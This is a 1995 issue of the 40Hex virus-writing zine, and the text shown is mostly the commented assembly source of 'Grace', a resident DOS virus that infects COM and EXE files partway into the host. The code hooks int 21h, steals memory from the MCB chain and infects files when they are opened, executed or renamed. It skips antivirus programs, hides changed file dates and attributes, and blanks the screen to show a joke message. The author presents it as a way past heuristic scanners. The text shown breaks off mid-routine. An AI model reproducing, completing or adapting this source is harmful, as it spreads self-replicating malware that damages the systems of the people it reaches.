40Hex Number 14 Volume 5 Issue 1 File 009 ;============================================================================== ; ; Grace ; ; Mid-file COM/EXE TSR infector, 1294 bytes ; ; This virus employs a brand new infection mechanism such that virus ; scanners which only check the entry points will fail. ie. heuristics ; are (so far) worthless against this virus. However this opens the virus ; up to signature scanning vulnerability because the entry point code ; is fixed and very specific. The next version of this virus will feature ; a general architectural reconstruction, multiple-block displacement ; and also polymorphism, so keep your eyes peeled for that one. ; ; I know there has been another virus which has done mid-file infection ; (Commander Bomber) but that uses a different method which achieves ; a similar result (ie, infection in the middle of the host). However ; the implementation illustrated in this virus is a more simple ; rendition of the idea, it simply has a 'wrapper' which relocates blocks ; etc. into the appropriate positions before the virus proper gains ; control. Cmdr Bomber, on the other hand, inserts multiple polymorphic ; jumps, but only infects .com files. ; ; This code is getting on (about 8 months) and has a few drawbacks. It ; just took too much stuffing around writing it that I didn't want to ; change it! :> .. for example the abovementioned susceptibility to sig ; scanning.. also the relocation of the entire header information to the ; end of the exe file (lame..) which requires heaps more memory than the ; average virus and suspicious extra disk accesses. Also, it was written ; to be compiled with a86 [1988] so the stuff at the end I had to count up ; manually. So I don't use TASM, and dont do my tabs right.. that's my ; problem. :> ..If I'd known how much mucking around this virus would ; have taken to write before I'd written it, I wouldn't have bothered. ; But I didn't, so I did, and here's the final product. It works! ;) ; ; There's a lot of commenting on this thing (left over from a tutorial I ; did for someone) so it's not *too* difficult to understand if you are ; taking a stroll through the code.. it's also pretty modular and some parts ; have just been fitted in without much optimization (eg the filename ; and extension checking routine could have been redone because there's only ; 2 allowable extensions). ; ; Apart from residing around the middle of the host it's pretty much just ; your standard virus.. it infects COM/EXE files on open, attrib, exec, ; move, and extended open.. also on program termination via function 4ch ; there's a chance the happy message "Have a nice DOS!" or "Have a nice ; piss-up!" will appear after blanking the screen. I personally hate ; programs which think they're being humourous with this little number, so ; there you go.. have fun. ; ; -T„L”N 02/95- ; ;============================================================================== ; ; when you run it, run it with a debugger, at the entry point to the actual ; virus (ie not the relocation wrapper) needs PSP in BP, and virus offset ; in memory in DI .. ie 100h if you're executing the kernal. in other ; words, there's no way this virus can be 'accidentally' compiled and ; run, because it will crash unless you do the above step.. ; ;------------------------------------------------------------------------------ ; ; Some equates and stuff for use within the virus .. ; org 0 ; will be assembled with start of 0 @JO equ 070h ; JO operand for variable branch @JMPS equ 0ebh ; JMP SHORT @tsrchk equ 6968h ; our tsr check p_len equ 5120/16 ; amount of memory we take up @marker equ 'PK' ; marker for infected file load equ 1536 ; scratch area offset vstack equ 1536 ; ceiling for our own stack .. = load k_len equ 52 ; length of relocation code ek_len equ 36 ; length of extra relocation code s_len equ 48 ; length of temp EXE stack ;------------------------------------------------------------------------------ ; assumes DI points to virus start ; ES = PSP v_start: push di mov cx, cs mov ax, @tsrchk ; int 21h will return an error int 21h ; unless our virus is already TSR xor bx, ax ; is bx xor ax = 0 ?? (will be if TSR) jz bail ; jump if zero to a bail routine ; otherwise install ourselves TSR. mov ax, bp ; in segment PSP-1 is the MCB chain. dec ax ; We will edit that to get us some ; memory to hide in. memloop: mov ds, ax ; set data segment cmp byte ptr [0], 'Z' ; is it the last block? je fixmem mov bx, ax ; keep segment of prev. block add ax, word ptr [3] ; AX now equals seg of next MCB inc ax jmp short memloop ; and check it .. fixmem: cmp word ptr [3], p_len*10 ; is block too small? jae fm_ok mov ds, bx ; yeah, use previous block xchg ax, bx fm_ok: sub word ptr [3], p_len ; steal the memory we need add ax, word ptr [3] ; get its segment value inc ax mov word ptr [12h], ax ; and feed it to the PSP of ; the host program - otherwise ; command.com will crash mov es, ax ; ES = destination segment for push cs ; the move.. pop ds ; DS = source segment xor di, di push cx mov cx, v_len ; # of bytes to move cld ; forward direction... rep movsb ; move CX bytes ds:si -> es:di pop cx gethi: push es ; push dest. seg on stack mov ax, offset dms ; and the offset of where to go push ax retf ; and jump there. dms: xor ax, ax mov ds, ax mov si, 21h*4 ; offset of int 21h vector movsw ; mov word from DS:SI to ES:DI movsw ; and again sub si, 4 mov word ptr [si], offset new21 ; revector int 21h mov word ptr [si+2], cs ; we have saved the old int 21h value so we can still jump to it, and we have ; put our offset and segment in its place -- so every time an int 21h call ; is issued, control is passed to the virus. Now let's split. xor si, si ; zero si since we've relocated bail: mov es, bp ; restore to ES the PSP segment push cs ; and let DS be our CS pop ds add si, offset old_shit ; point SI to our old data gl: jo exit_exe ; JO changed to JMP in EXE mov di, 0100h ; COMs always start execution add sp, 2 push bp ; at PSP:100h push di movsw ; restore host's original 5 movsw movsb jmp short zero_shit ; split exit_exe: add bp, 10h lodsw add ax, bp xchg ax, bx lodsw pop di relo_stuff: mov ss, bx xchg ax, sp lodsw ; now get the starting address xchg ax, bx ; from where we've stored it. lodsw add ax, bp mov ds, cx xchg si, di ; DS:SI = relocation table push ax ; push exe CS:IP onto stack... push bx lodsw ; # of relocation items xchg cx, ax jcxz rldone relo_loop: lodsw ; relocate them... xchg ax, di lodsw add ax, bp mov es, ax add word ptr es:[di], bp loop relo_loop rldone: sub bp, 10h zero_shit: xor ax, ax ; clean our hands mov bx, ax mov cx, ax cwd mov si, ax mov di, ax mov ds, bp ; DS=ES=PSP .. mov es, bp mov bp, ax ; everything = 0... retf ; I didn't see nothin! old_shit: int 20h ; 4 words to store either the dw 0,0,0 ; old EXE header values or the ; old COM header info. db '-[Grace] by T„L”N 94-' ; ; end of installation routine. ; ;------------------------------------------------------------------------------ ; ; The 'Have a nice DOS!' or 'Have a nice piss-up!' effect. ; hahaha: in al, 40h cmp al, 0e0 jbe ha_ex push bx push dx push ds mov ah, 0fh int 10h ; get video mode xor ah, ah int 10h ; clear that mode's screen mov ah, 2 xor dx, dx int 10h push cs pop ds mov ah, 9 mov dx, offset msg ; print the msg call i21 in al, 40h xchg ah, al in al, 40h xor al, ah cmp al, 0a0h jbe nicedos mov dx, offset XXXX jmp short prp nicedos: mov dx, offset doss prp: mov ah, 9 call i21 pop ds pop dx pop bx ha_ex: jmp short yeppo db 'You make me sick I make viruses' ;------------------------------------------------------------------------------ new21: cmp ax, @tsrchk ; is it us checking residence? jne n2 mov bx, ax ; yep, make BX = AX iret ; and return from interrupt. n2: push ax xchg ah, al cmp al, 3dh ; OPEN? je letsgo cmp al, 43h ; ATTRIB? je letsgo cmp al, 4bh ; EXEC? je letsgo cmp al, 4ch ; EXIT? je hahaha cmp al, 56h ; RENAME? je letsgo cmp al, 6ch ; EXT_OPEN? jne yeppo push dx mov dx, si call infect pop dx jmp short yeppo letsgo: call infect ; call the infection routine yeppo: pop ax ; restore AX n21_2: jmp dword ptr cs:[old21] ; and act as if nothing's up new24: mov al, 3 ; a cool critical error handler iret file_end: mov ax, 4202h ; some internal virus functions jmp short seek_vals file_zero: mov ax, 4200h seek_vals: xor cx, cx xor dx, dx i21: pushf ; simulate an int 21h push cs call n21_2 ret ; the working horse of the virus. infect: push ax ; save all the registers push bx ; that we'll be screwing with push cx push dx push si push di push ds push es ; now, we need to save the name of the file we're dealing with at a permanent ; location so that it's easier to reference. We also need to check to see if ; it's an invalid filename (ie. contains SC (eg Scan), CL (clean) etc etc.). push cs pop es mov di, offset filename mov si, dx ; on all the above calls, ; DS:DX points to the filename. ; we put it in SI for the LODSB ; instruction. storename: lodsb ; [DS:SI] -> AL stosb ; AL -> [ES:DI] or al, al ; is it 0 (end of ASCIIZ string)? jnz storename ; if not, keep going push cs ; toss out old data segment, pop ds ; we don't need it now. ; now we check the name and the extension. ; [this could do with a rewrite].. mov dx, di sub dx, 4 ; DX points to extension lea si, [di-12] ; SI = DI - 12 cmp si, offset filename+1 ; is it too far back? jae kkk1 mov si, offset filename+1 ; yep, point it right kkk1: dec si cmp si, dx ; is SI up to extension yet? je kkk2 lodsw ; no, check the word at SI... and ax, 0dfdfh ; capitalize the letters push di mov di, offset fucks mov cx, @fucks ; 4 things to check for... repne scasw ; this is: ; "keep comparing AX to [ES:DI] ; while AX <> [ES:DI] or until ; CX = 0. ie find if AX matches ; any of the disallowed things. pop di jne kkk1 ; try next 2 if no match.. jmp short ncexit_err ; otherwise we don't infect. kkk2: mov di, offset exts ; valid extensions mov cx, @exts cld lodsw and ax, 0dfdfh ; -> uppercase extchk: scasw ; does AX match extension? je extchk_2 inc di ; nope, try next extension loop extchk ; loop until cx=0 ncexit_err: jmp bitch ; .. if not valid extension, ; terminate infection routine extchk_2: lodsb ; otherwise check 3rd byte and al, 0dfh scasb jne ncexit_err ; set int 24h to our own so we don't get annoying "Write protect error" etc. set24: mov ax, 3524h ; get int 24h vector call i21 push es ; save it on the stack push bx mov dx, offset new24 mov ax, 2524h ; set int 24h vector call i21 push cs pop es ; now set the file attributes to zero... setattrib: mov ax, 4300h ; AX=4300h, Get attribs of file mov dx, offset filename ; DS:DX, filename call i21 push cx ; ..save them.. mov ax, 4301h xor cx, cx call i21 ; and zero them out. jc bitch1 ; if error, bail ... ; now we can safely open the file. mov ax, 3d02h ; open file, read/write access call i21 xchg ax, bx ; put file handle into bx mov ax, 5700h ; get the file's date/time call i21 push cx push dx ; check to see if the file is a COM or an EXE, according to its hdr structure. call file_zero ; seek to beginning of file mov ah, 3fh mov cx, 26 mov dx, offset signature call i21 ; read 24 bytes (header info) xor ax, cx ; bail if < 26 bytes read jnz bitch2 mov ax, @marker ; is there an infection marker? cmp word ptr [signature+3], ax ; [com] je bitch2 ; yep, it's already infected cmp word ptr [chksum], ax ; [exe] je bitch2 mov si, dx lodsb cmp al, 'M' ; EXEs start with MZ or ZM je goexe cmp al, 'Z' je goexe call cominf ; otherwise it's a COM file jmp short write_hdr goexe: call exeinf write_hdr: call file_zero ; seek to start of file mov ah, 40h mov cx, 26 mov dx, offset signature call i21 ; write patched header bitch2: pop dx ; restore the file's date/time pop cx mov ax, 5701h call i21 mov ah, 3eh ; and close it. call i21 bitch1: pop cx ; restore file's original mov ax, 4301h ; file attributes mov dx, offset filename call i21 pop dx ; get original i24h pop ds mov ax, 2524h call i21 ; and reinstate it bitch: pop es ; restore all the registers... pop ds pop di pop si pop dx pop cx pop bx pop ax ret ; and exit the infect routine. cominf: mov di, offset old_shit stosb movsw ; save first 5 bytes movsw call file_end or dx, dx ; COM >64k? jnz com_done cmp ax, 0f800h ; COM >60k? jae com_done push ax mov byte ptr [gl], @JO mov word ptr [k1+1], 0 ; we need a random value between 5 and (eof-v_len) sub ax, (v_len)+5 jc com_done2 call rnd_num add ax, 105h ; DX:AX is file offset of virus mov word ptr [k2+1], ax dec ah push ax call file_end add ax, v_len + k_len + 100h mov word ptr [k3+1], ax pop ax stc call write_us mov di, offset signature mov al, 0e9h ; now build us a JMP stosb pop ax dec ax ; ... dec ax dec ax stosw mov ax, @marker ; put in the infection marker stosw com_done: ret com_done2: pop ax ret ; this EXE infection is quite exhaustive in order to screw up the least amount ; of EXE files possible. A virus shows itself up when it wrecks things .. ; therefore it makes sense not to wreck things, hmm? exeinf: ; we have to check for internal overlays ; if present, don't infect the file call file_end push ax ; check for internal overlays push dx mov ax, word ptr [page_cnt] ; calculate how big the code mov cx, 512 ; part of the EXE is, according mul cx ; to its header info ... pop cx pop bp cmp ax, bp ; and compare it to the actual jb com_done ; file's size. cmp dx, cx ; if calc